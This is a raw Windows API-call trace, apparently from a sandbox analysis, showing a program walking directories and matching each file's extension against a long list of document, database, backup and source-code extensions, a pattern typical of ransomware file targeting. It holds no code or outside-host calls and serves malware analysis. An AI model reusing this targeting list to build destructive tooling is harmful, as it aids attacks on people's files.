-1 [0061.514] lstrlenW (lpString=".fxg") returned 4 [0061.514] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".geo") returned 4 [0061.514] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".gif") returned 4 [0061.515] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".grs") returned 4 [0061.515] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".gz") returned 3 [0061.515] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.515] lstrlenW (lpString=".h") returned 2 [0061.515] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.515] lstrlenW (lpString=".hdr") returned 4 [0061.515] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".hpp") returned 4 [0061.515] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".hta") returned 4 [0061.515] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".htc") returned 4 [0061.515] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".htm") returned 4 [0061.515] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".html") returned 5 [0061.515] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.515] lstrlenW (lpString=".icb") returned 4 [0061.515] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".ics") returned 4 [0061.515] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".iff") returned 4 [0061.515] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".inc") returned 4 [0061.515] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".indd") returned 5 [0061.515] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.515] lstrlenW (lpString=".ini") returned 4 [0061.515] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".iqy") returned 4 [0061.515] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".j2c") returned 4 [0061.515] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.515] lstrlenW (lpString=".j2k") returned 4 [0061.516] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".java") returned 5 [0061.516] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.516] lstrlenW (lpString=".jp2") returned 4 [0061.516] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".jpc") returned 4 [0061.516] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".jpe") returned 4 [0061.516] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".jpeg") returned 5 [0061.516] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.516] lstrlenW (lpString=".jpf") returned 4 [0061.516] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".jpg") returned 4 [0061.516] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".jpx") returned 4 [0061.516] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".js") returned 3 [0061.516] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.516] lstrlenW (lpString=".jsf") returned 4 [0061.516] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".json") returned 5 [0061.516] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.516] lstrlenW (lpString=".jsp") returned 4 [0061.516] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".kdc") returned 4 [0061.516] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".kmz") returned 4 [0061.516] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".kwm") returned 4 [0061.516] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".lasso") returned 6 [0061.516] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.516] lstrlenW (lpString=".lbi") returned 4 [0061.516] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.516] lstrlenW (lpString=".lgf") returned 4 [0061.516] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".lgp") returned 4 [0061.517] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".log") returned 4 [0061.517] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".m1v") returned 4 [0061.517] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".m4a") returned 4 [0061.517] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".m4v") returned 4 [0061.517] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".max") returned 4 [0061.517] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".md") returned 3 [0061.517] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.517] lstrlenW (lpString=".mda") returned 4 [0061.517] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mdb") returned 4 [0061.517] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mde") returned 4 [0061.517] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mdf") returned 4 [0061.517] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mdw") returned 4 [0061.517] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mef") returned 4 [0061.517] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mft") returned 4 [0061.517] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mfw") returned 4 [0061.517] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mht") returned 4 [0061.517] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mhtml") returned 6 [0061.517] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.517] lstrlenW (lpString=".mka") returned 4 [0061.517] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.517] lstrlenW (lpString=".mkidx") returned 6 [0061.518] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.518] lstrlenW (lpString=".mkv") returned 4 [0061.518] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mos") returned 4 [0061.518] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mov") returned 4 [0061.518] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mp3") returned 4 [0061.518] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mp4") returned 4 [0061.518] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mpeg") returned 5 [0061.518] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.518] lstrlenW (lpString=".mpg") returned 4 [0061.518] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mpv") returned 4 [0061.518] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mrw") returned 4 [0061.518] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".msg") returned 4 [0061.518] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".mxl") returned 4 [0061.518] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".myd") returned 4 [0061.518] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".myi") returned 4 [0061.518] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".nef") returned 4 [0061.518] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".nrw") returned 4 [0061.518] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".obj") returned 4 [0061.518] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".odb") returned 4 [0061.518] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".odc") returned 4 [0061.518] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.518] lstrlenW (lpString=".odm") returned 4 [0061.519] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".odp") returned 4 [0061.519] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".ods") returned 4 [0061.519] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".oft") returned 4 [0061.519] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".one") returned 4 [0061.519] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".onepkg") returned 7 [0061.519] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.519] lstrlenW (lpString=".onetoc2") returned 8 [0061.519] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.519] lstrlenW (lpString=".opt") returned 4 [0061.519] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".oqy") returned 4 [0061.519] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".orf") returned 4 [0061.519] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".p12") returned 4 [0061.519] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".p7b") returned 4 [0061.519] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".p7c") returned 4 [0061.519] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pam") returned 4 [0061.519] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pbm") returned 4 [0061.519] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pct") returned 4 [0061.519] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pcx") returned 4 [0061.519] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pdd") returned 4 [0061.519] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.519] lstrlenW (lpString=".pdf") returned 4 [0061.520] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pdp") returned 4 [0061.520] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pef") returned 4 [0061.520] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pem") returned 4 [0061.520] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pff") returned 4 [0061.520] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pfm") returned 4 [0061.520] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pfx") returned 4 [0061.520] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pgm") returned 4 [0061.520] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".php") returned 4 [0061.520] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".php3") returned 5 [0061.520] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.520] lstrlenW (lpString=".php4") returned 5 [0061.520] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.520] lstrlenW (lpString=".php5") returned 5 [0061.520] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.520] lstrlenW (lpString=".phtml") returned 6 [0061.520] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.520] lstrlenW (lpString=".pict") returned 5 [0061.520] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.520] lstrlenW (lpString=".pl") returned 3 [0061.520] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.520] lstrlenW (lpString=".pls") returned 4 [0061.520] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pm") returned 3 [0061.520] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.520] lstrlenW (lpString=".png") returned 4 [0061.520] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.520] lstrlenW (lpString=".pnm") returned 4 [0061.520] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".pot") returned 4 [0061.521] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".potm") returned 5 [0061.521] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".potx") returned 5 [0061.521] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".ppa") returned 4 [0061.521] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".ppam") returned 5 [0061.521] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".ppm") returned 4 [0061.521] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".pps") returned 4 [0061.521] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".ppsm") returned 5 [0061.521] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".ppt") returned 4 [0061.521] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".pptm") returned 5 [0061.521] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".pptx") returned 5 [0061.521] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.521] lstrlenW (lpString=".prn") returned 4 [0061.521] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".ps") returned 3 [0061.521] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.521] lstrlenW (lpString=".psb") returned 4 [0061.521] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".psd") returned 4 [0061.521] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".pst") returned 4 [0061.521] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".ptx") returned 4 [0061.521] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.521] lstrlenW (lpString=".pub") returned 4 [0061.521] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.522] lstrlenW (lpString=".pwm") returned 4 [0061.522] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.522] lstrlenW (lpString=".pxr") returned 4 [0061.522] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.522] lstrlenW (lpString=".py") returned 3 [0061.522] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.522] lstrlenW (lpString=".qt") returned 3 [0061.522] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.522] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.522] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.522] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.522] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0061.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0061.537] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0061.537] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0061.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0061.537] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582f48 [0061.539] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.539] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.539] lstrlenW (lpString="eula.rtf") returned 8 [0061.539] lstrlenW (lpString=".1cd") returned 4 [0061.539] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".3ds") returned 4 [0061.539] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".3fr") returned 4 [0061.539] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".3g2") returned 4 [0061.539] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".3gp") returned 4 [0061.539] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".7z") returned 3 [0061.539] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.539] lstrlenW (lpString=".accda") returned 6 [0061.539] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".accdb") returned 6 [0061.539] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".accdc") returned 6 [0061.539] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".accde") returned 6 [0061.539] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".accdt") returned 6 [0061.539] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".accdw") returned 6 [0061.539] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.539] lstrlenW (lpString=".adb") returned 4 [0061.539] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".adp") returned 4 [0061.539] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.539] lstrlenW (lpString=".ai") returned 3 [0061.540] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.540] lstrlenW (lpString=".ai3") returned 4 [0061.540] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ai4") returned 4 [0061.540] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ai5") returned 4 [0061.540] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ai6") returned 4 [0061.540] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ai7") returned 4 [0061.540] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ai8") returned 4 [0061.540] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".anim") returned 5 [0061.540] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.540] lstrlenW (lpString=".arw") returned 4 [0061.540] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".as") returned 3 [0061.540] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.540] lstrlenW (lpString=".asa") returned 4 [0061.540] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".asc") returned 4 [0061.540] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".ascx") returned 5 [0061.540] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.540] lstrlenW (lpString=".asm") returned 4 [0061.540] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".asmx") returned 5 [0061.540] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.540] lstrlenW (lpString=".asp") returned 4 [0061.540] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.540] lstrlenW (lpString=".aspx") returned 5 [0061.540] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.540] lstrlenW (lpString=".asr") returned 4 [0061.540] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".asx") returned 4 [0061.541] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".avi") returned 4 [0061.541] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".avs") returned 4 [0061.541] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".backup") returned 7 [0061.541] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.541] lstrlenW (lpString=".bak") returned 4 [0061.541] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".bay") returned 4 [0061.541] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".bd") returned 3 [0061.541] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.541] lstrlenW (lpString=".bin") returned 4 [0061.541] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".bmp") returned 4 [0061.541] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".bz2") returned 4 [0061.541] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".c") returned 2 [0061.541] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.541] lstrlenW (lpString=".cdr") returned 4 [0061.541] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".cer") returned 4 [0061.541] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".cf") returned 3 [0061.541] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.541] lstrlenW (lpString=".cfc") returned 4 [0061.541] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".cfm") returned 4 [0061.541] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".cfml") returned 5 [0061.541] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.541] lstrlenW (lpString=".cfu") returned 4 [0061.541] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.541] lstrlenW (lpString=".chm") returned 4 [0061.542] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".cin") returned 4 [0061.542] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".class") returned 6 [0061.542] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.542] lstrlenW (lpString=".clx") returned 4 [0061.542] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.542] lstrlenW (lpString=".config") returned 7 [0061.542] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 